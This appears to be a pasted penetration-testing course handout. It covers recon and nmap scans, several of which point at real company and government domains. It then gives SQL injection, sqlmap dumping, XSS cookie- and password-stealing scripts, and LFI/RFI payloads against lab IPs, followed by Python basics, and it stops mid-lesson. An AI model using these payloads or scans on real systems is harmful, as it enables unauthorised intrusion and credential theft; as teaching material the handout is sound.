Advertisement
joemccray

Adv CW 2019

Apr 29th, 2019
951
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 58.63 KB | None | 0 0
  1. ###########################
  2. # Target IP Determination #
  3. ###########################
  4. ---------------------------Type This-----------------------------------
  5. perl blindcrawl.pl -d motorola.com
  6. -----------------------------------------------------------------------
  7.  
  8.  
  9. -- Take each IP address and look ip up here:
  10. http://whois.domaintools.com/
  11.  
  12.  
  13.  
  14. Zone Transfer fails on most domains, but here is an example of one that works:
  15. ---------------------------Type This-----------------------------------
  16. dig axfr @nsztm1.digi.ninja zonetransfer.me
  17.  
  18.  
  19. ./ipcrawl 148.87.1.1 148.87.1.254
  20.  
  21.  
  22. sudo nmap -sL 148.87.1.0-255
  23.  
  24.  
  25.  
  26. sudo nmap -sL 148.87.1.0-255 | grep oracle
  27.  
  28. -----------------------------------------------------------------------
  29.  
  30.  
  31.  
  32.  
  33. ###########################
  34. # Load Balancer Detection #
  35. ###########################
  36.  
  37. Here are some options to use for identifying load balancers:
  38. - http://toolbar.netcraft.com/site_report
  39. - https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
  40.  
  41.  
  42. Here are some command-line options to use for identifying load balancers:
  43. ---------------------------Type This-----------------------------------
  44. dig microsoft.com
  45.  
  46.  
  47. ./lbd.sh microsoft.com
  48.  
  49.  
  50. halberd microsoft.com
  51. halberd motorola.com
  52. halberd oracle.com
  53. -----------------------------------------------------------------------
  54.  
  55.  
  56. ######################################
  57. # Web Application Firewall Detection #
  58. ######################################
  59. ---------------------------Type This-----------------------------------
  60. wafw00f https://www.oracle.com
  61. wafw00f https://infosecaddicts.com
  62.  
  63.  
  64. sudo nmap -p 80 --script http-waf-detect.nse oracle.com
  65.  
  66.  
  67. sudo nmap -p 80 --script http-waf-detect.nse nsa.gov
  68.  
  69. -----------------------------------------------------------------------
  70.  
  71.  
  72. ########################
  73. # Scanning Methodology #
  74. ########################
  75.  
  76. - Ping Sweep
  77. What's alive?
  78. ------------
  79.  
  80. ---------------------------Type This-----------------------------------
  81. sudo nmap -sP 157.166.226.*
  82.  
  83. -----------------------------------------------------------------------
  84.  
  85.  
  86.  
  87. -if -SP yields no results try:
  88. ---------------------------Type This-----------------------------------
  89. sudo nmap -sL 157.166.226.*
  90.  
  91. -----------------------------------------------------------------------
  92.  
  93.  
  94.  
  95. -Look for hostnames:
  96. ---------------------------Type This-----------------------------------
  97. sudo nmap -sL 157.166.226.* | grep cnn
  98.  
  99. -----------------------------------------------------------------------
  100.  
  101.  
  102.  
  103. - Port Scan
  104. What's where?
  105. ------------
  106. ---------------------------Type This-----------------------------------
  107. sudo nmap -sS 162.243.126.247
  108.  
  109. -----------------------------------------------------------------------
  110.  
  111.  
  112.  
  113. - Bannergrab/Version Query
  114. What versions of software are running
  115. -------------------------------------
  116.  
  117. ---------------------------Type This-----------------------------------
  118. sudo nmap -sV 162.243.126.247
  119.  
  120. -----------------------------------------------------------------------
  121.  
  122.  
  123.  
  124. ##################################
  125. # Basic: Web Application Testing #
  126. ##################################
  127.  
  128. Most people are going to tell you reference the OWASP Testing guide.
  129. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  130.  
  131. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  132.  
  133.  
  134. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  135.  
  136. 1. Does the website talk to a DB?
  137. - Look for parameter passing (ex: site.com/page.php?id=4)
  138. - If yes - try SQL Injection
  139.  
  140. 2. Can I or someone else see what I type?
  141. - If yes - try XSS
  142.  
  143. 3. Does the page reference a file?
  144. - If yes - try LFI/RFI
  145.  
  146. Let's start with some manual testing against 45.77.162.239
  147.  
  148.  
  149. Start here:
  150. ---------------------------Paste this into Firefox-----------------------------------
  151. http://45.77.162.239/
  152. -----------------------------------------------------------------------
  153.  
  154. Let's try throwing a single quote (') in there:
  155. ---------------------------Paste this into Firefox-----------------------------------
  156. http://45.77.162.239/bookdetail.aspx?id=2'
  157. -------------------------------------------------------------------------------------
  158.  
  159. I get the following error:
  160.  
  161. Unclosed quotation mark after the character string ''.
  162. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  163.  
  164. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175. #########################################################################################
  176. # SQL Injection #
  177. # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
  178. #########################################################################################
  179.  
  180.  
  181. - Another quick way to test for SQLI is to remove the parameter value
  182.  
  183.  
  184. #############################
  185. # Error-Based SQL Injection #
  186. #############################
  187. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  188. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  189. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  190. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  191. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  192. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  193. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  194. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  195. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  196. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  197. ---------------------------------------------------------------------------------------------------------
  198.  
  199.  
  200.  
  201.  
  202.  
  203. #############################
  204. # Union-Based SQL Injection #
  205. #############################
  206. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  207. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  208. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  209. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  210. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  211. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  212. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  213. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  214. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  215. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  216. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  217. ---------------------------------------------------------------------------------------------------------
  218.  
  219. We are using a union select statement because we are joining the developer's query with one of our own.
  220. Reference:
  221. http://www.techonthenet.com/sql/union.php
  222. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  223. It removes duplicate rows between the various SELECT statements.
  224.  
  225. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  226. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  227. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  228. ---------------------------------------------------------------------------------------------------------
  229. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  230.  
  231. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  232. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  233. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  234. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  235. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  236. ---------------------------------------------------------------------------------------------------------
  237.  
  238.  
  239.  
  240.  
  241. - Another way is to see if you can get the backend to perform an arithmetic function
  242. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  243. http://45.77.162.239/bookdetail.aspx?id=(2)
  244. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  245. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  246. ---------------------------------------------------------------------------------------------------------
  247.  
  248. - This is some true/false logic testing
  249. ---------------------------Paste this into Firefox-----------------------------------
  250. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  251. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  252. http://45.77.162.239/bookdetail.aspx?id=1*1
  253. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  254. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  255. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  256. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  257. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  258. -------------------------------------------------------------------------------------
  259.  
  260. -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
  261. ---------------------------Paste this into Firefox-----------------------------------
  262. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  263. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  264. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  265. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  266. ---------------------------------------------------------------------------------------
  267.  
  268.  
  269. ###############################
  270. # Blind SQL Injection Testing #
  271. ###############################
  272. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  273.  
  274. 3 - Total Characters
  275. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  276. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  277. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  278. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  279. ---------------------------------------------------------------------------------------------------------
  280.  
  281. Let's go for a quick check to see if it's DBO
  282. ---------------------------Paste this into Firefox-----------------------------------
  283. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  284. -------------------------------------------------------------------------------------
  285. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  286.  
  287. D - 1st Character
  288. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  289. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  290. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  291. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  292. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  293. ---------------------------------------------------------------------------------------------------------
  294.  
  295. B - 2nd Character
  296. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  297. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  298. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  299. ---------------------------------------------------------------------------------------------------------
  300.  
  301. O - 3rd Character
  302. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  303. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  304. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  305. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  306. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  307. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  308. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  309. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  310. ---------------------------------------------------------------------------------------------------------
  311.  
  312.  
  313.  
  314.  
  315. ##########
  316. # Sqlmap #
  317. ##########
  318. If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
  319. ---------------------------Type This-----------------------------------
  320. cd ~/toolz/sqlmap-dev/
  321. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
  322. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
  323. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
  324. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
  325. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
  326. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
  327. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
  328. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
  329. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
  330. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
  331. ------------------------------------------------------------------------
  332.  
  333.  
  334.  
  335. #######################
  336. # Attacking PHP/MySQL #
  337. #######################
  338.  
  339. Go to LAMP Target homepage
  340. ---------------------------Paste this into Firefox-----------------------------------
  341. http://45.63.104.73/
  342. -------------------------------------------------------------------------------------
  343.  
  344.  
  345. Clicking on the Acer Link:
  346. ---------------------------Paste this into Firefox-----------------------------------
  347. http://45.63.104.73/acre2.php?lap=acer
  348. -------------------------------------------------------------------------------------
  349.  
  350. - Found parameter passing (answer yes to question 1)
  351. - Insert ' to test for SQLI
  352.  
  353. ---------------------------Paste this into Firefox-----------------------------------
  354. http://45.63.104.73/acre2.php?lap=acer'
  355. -------------------------------------------------------------------------------------
  356.  
  357. Page returns the following error:
  358. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  359.  
  360.  
  361.  
  362. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  363. We do this using the ORDER BY
  364. ---------------------------Paste this into Firefox-----------------------------------
  365. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  366. -------------------------------------------------------------------------------------
  367.  
  368.  
  369. Page returns the following error:
  370. Unknown column '100' in 'order clause'
  371.  
  372.  
  373. ---------------------------Paste this into Firefox-----------------------------------
  374. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  375. -------------------------------------------------------------------------------------
  376.  
  377.  
  378. Page returns the following error:
  379. Unknown column '50' in 'order clause'
  380.  
  381.  
  382. ---------------------------Paste this into Firefox-----------------------------------
  383. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  384. -------------------------------------------------------------------------------------
  385.  
  386. Page returns the following error:
  387. Unknown column '25' in 'order clause'
  388.  
  389.  
  390. ---------------------------Paste this into Firefox-----------------------------------
  391. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  392. -------------------------------------------------------------------------------------
  393.  
  394. Page returns the following error:
  395. Unknown column '12' in 'order clause'
  396.  
  397.  
  398. ---------------------------Paste this into Firefox-----------------------------------
  399. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  400. -------------------------------------------------------------------------------------
  401. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  402.  
  403.  
  404.  
  405. Now we build out the union all select statement with the correct number of columns
  406.  
  407. Reference:
  408. http://www.techonthenet.com/sql/union.php
  409.  
  410.  
  411. ---------------------------Paste this into Firefox-----------------------------------
  412. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  413. -------------------------------------------------------------------------------------
  414.  
  415.  
  416.  
  417. Now we negate the parameter value 'acer' by turning into the word 'null':
  418. ---------------------------Paste this into Firefox-----------------------------------
  419. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  420. -------------------------------------------------------------------------------------
  421.  
  422. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  423.  
  424.  
  425. Use a cheat sheet for syntax:
  426. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  427.  
  428. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  429. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  430.  
  431. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  432.  
  433. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  434.  
  435. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  436.  
  437. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  438. ------------------------------------------------------------------------------------- -------------------
  439.  
  440.  
  441.  
  442.  
  443. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  444.  
  445. Here is a good reference for it:
  446. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  447.  
  448. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  449.  
  450.  
  451. ###############################################################################
  452. # What is XSS #
  453. # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
  454. ###############################################################################
  455.  
  456. OK - what is Cross Site Scripting (XSS)
  457.  
  458. 1. Use Firefox to browse to the following location:
  459. ---------------------------Paste this into Firefox-----------------------------------
  460. http://45.63.104.73/xss_practice/
  461. -------------------------------------------------------------------------------------
  462.  
  463. A really simple search page that is vulnerable should come up.
  464.  
  465.  
  466.  
  467.  
  468. 2. In the search box type:
  469. ---------------------------Paste this into Firefox-----------------------------------
  470. <script>alert('So this is XSS')</script>
  471. -------------------------------------------------------------------------------------
  472.  
  473.  
  474. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  475. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  476.  
  477.  
  478. 3. In the search box type:
  479. ---------------------------Paste this into Firefox-----------------------------------
  480. <script>alert(document.cookie)</script>
  481. -------------------------------------------------------------------------------------
  482.  
  483.  
  484. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  485. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  486.  
  487. 4. Now replace that alert script with:
  488. ---------------------------Paste this into Firefox-----------------------------------
  489. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  490. -------------------------------------------------------------------------------------
  491.  
  492. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  493.  
  494.  
  495. 5. Now view the stolen cookie at:
  496. ---------------------------Paste this into Firefox-----------------------------------
  497. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  498. -------------------------------------------------------------------------------------
  499.  
  500. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  501.  
  502.  
  503.  
  504.  
  505.  
  506.  
  507. ############################
  508. # A Better Way To Demo XSS #
  509. ############################
  510.  
  511.  
  512. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  513.  
  514.  
  515. Use Firefox to browse to the following location:
  516. ---------------------------Paste this into Firefox-----------------------------------
  517. http://45.63.104.73/xss_practice/
  518. -------------------------------------------------------------------------------------
  519.  
  520.  
  521. Paste this in the search box
  522. ----------------------------
  523.  
  524.  
  525. Option 1
  526. --------
  527. ---------------------------Paste this into Firefox-----------------------------------
  528. <script>
  529. password=prompt('Your session is expired. Please enter your password to continue',' ');
  530. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  531. </script>
  532. -------------------------------------------------------------------------------------
  533.  
  534. Now view the stolen cookie at:
  535. ---------------------------Paste this into Firefox-----------------------------------
  536. http://45.63.104.73/xss_practice/passwords.html
  537. -------------------------------------------------------------------------------------
  538.  
  539.  
  540. Option 2
  541. --------
  542. -------------------------Paste this into Firefox-----------------------------------
  543. <script>
  544. username=prompt('Please enter your username',' ');
  545. password=prompt('Please enter your password',' ');
  546. document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  547. </script>
  548. -------------------------------------------------------------------------------------
  549.  
  550.  
  551.  
  552. Now view the stolen cookie at:
  553. http://45.63.104.73/xss_practice/username_password_logs.html
  554.  
  555.  
  556.  
  557.  
  558. #########################################
  559. # Let's try a local file include (LFI) #
  560. #########################################
  561. - Here is an example of an LFI
  562. - Open this page in Firefox:
  563. -------------------------Paste this into Firefox-----------------------------------
  564. http://45.63.104.73/showfile.php?filename=contactus.txt
  565. -------------------------------------------------------------------------------------
  566.  
  567.  
  568. - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
  569. - Here you see a direct reference to a file on the local filesystem of the victim machine.
  570. - You can attack this by doing the following:
  571. -------------------------Paste this into Firefox-----------------------------------
  572. http://45.63.104.73/showfile.php?filename=/etc/passwd
  573. -------------------------------------------------------------------------------------
  574.  
  575.  
  576. - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
  577. - somewhere else on the Internet. Here is an example of a text file on the web:
  578. -------------------------Paste this into Firefox-----------------------------------
  579. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  580. -------------------------------------------------------------------------------------
  581.  
  582. - Now we can attack the target via RFI like this:
  583. -------------------------Paste this into Firefox-----------------------------------
  584. http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  585. -------------------------------------------------------------------------------------
  586.  
  587.  
  588.  
  589. ###############################
  590. # How much fuzzing is enough? #
  591. ###############################
  592. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  593.  
  594. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  595.  
  596.  
  597. Step 1: Ask yourself the 3 questions per page of the site.
  598.  
  599. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  600.  
  601. Step 3: When you load your fuzz strings - use the following decision tree
  602.  
  603. - Are the fuzz strings causing a default error message (example 404)?
  604. - If this is the case then it is most likely NOT vulnerable
  605.  
  606. - Are the fuzz strings causing a WAF or LB custom error message?
  607. - If this is the case then you need to find an encoding method to bypass
  608.  
  609.  
  610. - Are the fuzz strings causing an error message that discloses the backend type?
  611. - If yes, then identify DB type and find correct syntax to successfully exploit
  612. - Some example strings that I use are:
  613. '
  614. "
  615. () <----- Take the parameter value and put it in parenthesis
  616. (5-1) <----- See if you can perform an arithmetic function
  617.  
  618.  
  619. - Are the fuzz strings rendering executable code?
  620. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  621. - Some example strings that I use are:
  622. <b>hello</b>
  623. <u>hello</u>
  624. <script>alert(123);</script>
  625. <script>alert(xss);</script>
  626. <script>alert('xss');</script>
  627. <script>alert("xss");</script>
  628.  
  629.  
  630.  
  631. #####################################
  632. #Python Lesson 1: Simple Printing #
  633. #####################################
  634.  
  635. ---------------------------Type This-----------------------------------
  636. $ python
  637.  
  638. >>> print "Today we are learning Python."
  639.  
  640. -----------------------------------------------------------------------
  641.  
  642.  
  643.  
  644.  
  645. #############################################
  646. #Python Lesson 2: Simple Numbers and Math #
  647. #############################################
  648.  
  649. ---------------------------Type This-----------------------------------
  650.  
  651. >>> 2+2
  652.  
  653. >>> 6-3
  654.  
  655. >>> 18/7
  656.  
  657. >>> 18.0/7
  658.  
  659. >>> 18.0/7.0
  660.  
  661. >>> 18/7
  662.  
  663. >>> 9%4
  664.  
  665. >>> 8%4
  666.  
  667. >>> 8.75%.5
  668.  
  669. >>> 6.*7
  670.  
  671. >>> 6*6*6
  672.  
  673. >>> 6**3
  674.  
  675. >>> 5**12
  676.  
  677. >>> -5**4
  678.  
  679.  
  680. -----------------------------------------------------------------------
  681.  
  682.  
  683.  
  684. ###############################
  685. #Python Lesson 3: Variables #
  686. ###############################
  687.  
  688. ---------------------------Type This-----------------------------------
  689.  
  690. >>> x=18
  691.  
  692. >>> x+15
  693.  
  694. >>> x**3
  695.  
  696. >>> y=54
  697.  
  698. >>> x+y
  699.  
  700. >>> g=input("Enter number here: ")
  701. 43
  702.  
  703. >>> g+32
  704.  
  705. >>> g**3
  706.  
  707.  
  708. -----------------------------------------------------------------------
  709.  
  710.  
  711.  
  712.  
  713.  
  714. ###########################################
  715. #Python Lesson 4: Modules and Functions #
  716. ###########################################
  717.  
  718. ---------------------------Type This-----------------------------------
  719.  
  720. >>> 5**4
  721.  
  722. >>> pow(5,4)
  723.  
  724. >>> abs(-18)
  725.  
  726. >>> abs(5)
  727.  
  728. >>> floor(18.7)
  729.  
  730. >>> import math
  731.  
  732. >>> math.floor(18.7)
  733.  
  734. >>> math.sqrt(81)
  735.  
  736. >>> joe = math.sqrt
  737.  
  738. >>> joe(9)
  739.  
  740. >>> joe=math.floor
  741.  
  742. >>> joe(19.8)
  743.  
  744.  
  745.  
  746. -----------------------------------------------------------------------
  747.  
  748.  
  749.  
  750. #############################
  751. #Python Lesson 5: Strings #
  752. #############################
  753.  
  754. ---------------------------Type This-----------------------------------
  755.  
  756.  
  757. >>> "XSS"
  758.  
  759. >>> 'SQLi'
  760.  
  761. >>> "Joe's a python lover"
  762.  
  763. >>> 'Joe\'s a python lover'
  764.  
  765. >>> "Joe said \"InfoSec is fun\" to me"
  766.  
  767. >>> a = "Joe"
  768.  
  769. >>> b = "McCray"
  770.  
  771. >>> a, b
  772.  
  773. >>> a+b
  774.  
  775.  
  776. -----------------------------------------------------------------------
  777.  
  778.  
  779.  
  780.  
  781.  
  782. ##################################
  783. #Python Lesson 6: More Strings #
  784. ##################################
  785.  
  786. ---------------------------Type This-----------------------------------
  787.  
  788.  
  789. >>> num = 10
  790.  
  791. >>> num + 2
  792.  
  793. >>> "The number of open ports found on this system is " + num
  794.  
  795. >>> num = str(18)
  796.  
  797. >>> "There are " + num + " vulnerabilities found in this environment."
  798.  
  799. >>> num2 = 46
  800.  
  801. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
  802.  
  803.  
  804. -----------------------------------------------------------------------
  805.  
  806.  
  807.  
  808.  
  809.  
  810. #########################################
  811. #Python Lesson 7: Sequences and Lists #
  812. #########################################
  813.  
  814. ---------------------------Type This-----------------------------------
  815.  
  816. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  817.  
  818. >>> attacks
  819. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  820.  
  821. >>> attacks[3]
  822. 'SQL Injection'
  823.  
  824. >>> attacks[-2]
  825. 'Cross-Site Scripting'
  826.  
  827. >>> exit()
  828.  
  829. -----------------------------------------------------------------------
  830.  
  831.  
  832.  
  833.  
  834. ###################################
  835. # Level 8: Intro to Log Analysis #
  836. ###################################
  837.  
  838.  
  839. Log into your Linux host then execute the following commands:
  840. -----------------------------------------------------------------------
  841. NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
  842.  
  843.  
  844.  
  845. ---------------------------Type This-----------------------------------
  846.  
  847. wget http://pastebin.com/raw/85zZ5TZX
  848.  
  849. mv 85zZ5TZX access_log
  850.  
  851.  
  852. cat access_log | grep 141.101.80.188
  853.  
  854. cat access_log | grep 141.101.80.187
  855.  
  856. cat access_log | grep 108.162.216.204
  857.  
  858. cat access_log | grep 173.245.53.160
  859.  
  860. ----------------------------------------------------------------------
  861.  
  862.  
  863.  
  864.  
  865.  
  866. Google the following terms:
  867. - Python read file
  868. - Python read line
  869. - Python read from file
  870.  
  871.  
  872.  
  873.  
  874. ################################################################
  875. #Python Lesson 9: Use Python to read in a file line by line #
  876. ################################################################
  877.  
  878.  
  879. Reference:
